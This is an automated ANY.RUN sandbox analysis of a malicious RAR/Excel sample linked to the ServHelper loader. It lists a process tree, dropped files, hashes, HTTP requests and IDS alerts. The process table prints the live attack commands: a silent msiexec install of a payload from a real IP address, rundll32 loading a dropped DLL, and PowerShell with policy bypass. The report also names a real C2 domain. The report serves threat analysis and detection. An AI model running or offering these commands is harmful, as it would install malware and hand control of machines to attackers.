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| File name: | 120419_001_18091121.rar |
| Full analysis: | https://app.any.run/tasks/c35c1470-ac47-4ee7-9607-bb0268fae657 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | April 15, 2019, 09:27:06 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v5 |
| MD5: | 21322929143BA59BC76FDDE8643CABCA |
| SHA1: | 6DE4B54339D3BE6BFA37787DB10B4DC832383B06 |
| SHA256: | 6D0B169EBFB956D80F2BB736FCAB4E95E0A58206605D82FB04E29054619B14C0 |
| SSDEEP: | 1536:lJfGb2MPoFCawfJPKZLPNZKvwYwJoEjedAsEI/hMbTByvRDzXDSAu0trAKQgV9qq:c3ocawxPOgwYwJoyRAM5yvxtvIQ9v |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2208)
- EXCEL.EXE (PID: 2336)
Uses Microsoft Installer as loader
- EXCEL.EXE (PID: 2208)
- EXCEL.EXE (PID: 2336)
Application was dropped or rewritten from another process
- ns45B4.tmp (PID: 2236)
Downloads executable files from the Internet
- msiexec.exe (PID: 3684)
Loads dropped or rewritten executable
- rundll32.exe (PID: 2584)
Downloads executable files from IP
- msiexec.exe (PID: 3684)
Executes PowerShell scripts
- cmd.exe (PID: 3244)
SERVHELPER was detected
- rundll32.exe (PID: 2584)
Starts NET.EXE to view/add/change user profiles
- cmd.exe (PID: 2844)
Connects to CnC server
- rundll32.exe (PID: 2584)
SUSPICIOUS
Starts Microsoft Office Application
- WinRAR.exe (PID: 2648)
Drop ExeToMSI Application
- msiexec.exe (PID: 3684)
Executable content was dropped or overwritten
- msiexec.exe (PID: 3684)
- MSI44E9.tmp (PID: 3224)
Starts application with an unusual extension
- MSI44E9.tmp (PID: 3224)
Uses RUNDLL32.EXE to load library
- cmd.exe (PID: 2652)
Starts CMD.EXE for commands execution
- ns45B4.tmp (PID: 2236)
- rundll32.exe (PID: 2584)
Creates files in the user directory
- powershell.exe (PID: 3372)
INFO
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3684)
Starts application with an unusual extension
- msiexec.exe (PID: 3684)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2208)
- EXCEL.EXE (PID: 2336)
Loads dropped or rewritten executable
- MSI44E9.tmp (PID: 3224)
Application was dropped or rewritten from another process
- MSI44E9.tmp (PID: 3224)
Creates files in the user directory
- EXCEL.EXE (PID: 2336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v5.0) (61.5) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (38.4) |
Total processes
52
Monitored processes
15
Malicious processes
9
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2648 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\120419_001_18091121.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
| 2208 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | WinRAR.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
| 2688 | msiexec.exe RETURN=801 /i http://91.201.67.96/cyf /q ksw='%TMP%' | C:\Windows\system32\msiexec.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 3684 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) | ||||
| 3224 | "C:\Windows\Installer\MSI44E9.tmp" | C:\Windows\Installer\MSI44E9.tmp | msiexec.exe | |
User: admin Company: pegas Integrity Level: MEDIUM Description: pegas Application Version: 1.0.2.1 | ||||
| 2236 | "C:\Users\admin\AppData\Local\Temp\nsr45B3.tmp\ns45B4.tmp" "cmd.exe" /c rundll32 C:\Users\admin\AppData\Local\Temp\pegas.dll, kest | C:\Users\admin\AppData\Local\Temp\nsr45B3.tmp\ns45B4.tmp | — | MSI44E9.tmp |
User: admin Integrity Level: MEDIUM | ||||
| 2652 | "cmd.exe" /c rundll32 C:\Users\admin\AppData\Local\Temp\pegas.dll, kest | C:\Windows\system32\cmd.exe | — | ns45B4.tmp |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2584 | rundll32 C:\Users\admin\AppData\Local\Temp\pegas.dll, kest | C:\Windows\system32\rundll32.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3244 | cmd.exe /C powershell -nop -ep bypass -f %temp%\enu.ps1 | C:\Windows\system32\cmd.exe | — | rundll32.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 4294770688 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3372 | powershell -nop -ep bypass -f C:\Users\admin\AppData\Local\Temp\enu.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 4294770688 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
5 354
Read events
3 438
Write events
0
Delete events
0
Modification events
Executable files
5
Suspicious files
7
Text files
11
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2208 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR3768.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3684 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF35537EE9CCC4FAF4.TMP | — | |
MD5:— | SHA256:— | |||
| 3372 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NVA2ULO1H6CWE8P49JDJ.temp | — | |
MD5:— | SHA256:— | |||
| 3224 | MSI44E9.tmp | C:\Users\admin\AppData\Local\Temp\pegas.dll | executable | |
MD5:4A8198FCA604A78DD210803AEBD5CBBA | SHA256:9DC1381816B8B18AEAD256BDC05486171968ABBC6FF01766088FBFE7BADD194E | |||
| 2648 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIb2648.49690\120419_001_18091121.xls | document | |
MD5:594C7FED7F9175CCFA1A4C6C7CCCD633 | SHA256:C8A81B053145DADF0DBD847068C949E30ED48B9DE32D92A6FA7F045E617C4BFB | |||
| 3684 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat | dat | |
MD5:CAC42520703712F090B02F6FC964302F | SHA256:3CF9448235329D98746B450802FA096F73C6947CD6227A41E11EB2DA346955F2 | |||
| 2208 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DFBE85305178FC233B.TMP | — | |
MD5:— | SHA256:— | |||
| 3684 | msiexec.exe | C:\Windows\Installer\MSI440C.tmp | binary | |
MD5:06183CCBC9BBDBB6E90321631921B1C6 | SHA256:60F32F90A9227C22D7D5C709BD616678D9E72BAFE1763F0E0FEAD28917CB4239 | |||
| 3224 | MSI44E9.tmp | C:\Users\admin\AppData\Local\Temp\nsr45B3.tmp\ns45B4.tmp | executable | |
MD5:E2347A65B30CCC5B2C4230DAAEEFB897 | SHA256:79FD3041AB85E378839D2E3CF155FC91A2D541304D209F5D1D57AC7D791190EC | |||
| 3372 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11827b.TMP | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
3
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3684 | msiexec.exe | GET | 200 | 91.201.67.96:80 | http://91.201.67.96/cyf | unknown | executable | 372 Kb | suspicious |
2336 | EXCEL.EXE | GET | 200 | 52.109.76.6:80 | http://office14client.microsoft.com/config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={538F6C89-2AD5-4006-8154-C6670774E980}&build=14.0.6023 | IE | xml | 1.99 Kb | whitelisted |
2584 | rundll32.exe | POST | 200 | 37.252.9.143:80 | http://joisff333.icu/jquery/jquery.php | DE | text | 22 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2336 | EXCEL.EXE | 52.109.120.28:443 | rr.office.microsoft.com | Microsoft Corporation | HK | whitelisted |
2336 | EXCEL.EXE | 52.109.76.6:80 | office14client.microsoft.com | Microsoft Corporation | IE | whitelisted |
3684 | msiexec.exe | 91.201.67.96:80 | — | — | — | suspicious |
2584 | rundll32.exe | 37.252.9.143:80 | joisff333.icu | — | DE | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
joisff333.icu |
| malicious |
office14client.microsoft.com |
| whitelisted |
rr.office.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3684 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |
3684 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
— | — | Potentially Bad Traffic | ET INFO DNS Query for Suspicious .icu Domain |
2584 | rundll32.exe | A Network Trojan was detected | ET TROJAN ServHelper CnC Inital Checkin |
2584 | rundll32.exe | A Network Trojan was detected | MALWARE [PTsecurity] ServHelper (TA505) |
2584 | rundll32.exe | Potentially Bad Traffic | ET INFO HTTP POST Request to Suspicious *.icu domain |
2584 | rundll32.exe | A Network Trojan was detected | MALWARE [PTsecurity] ServHelper Shell command (TA505) |
1 ETPRO signatures available at the full report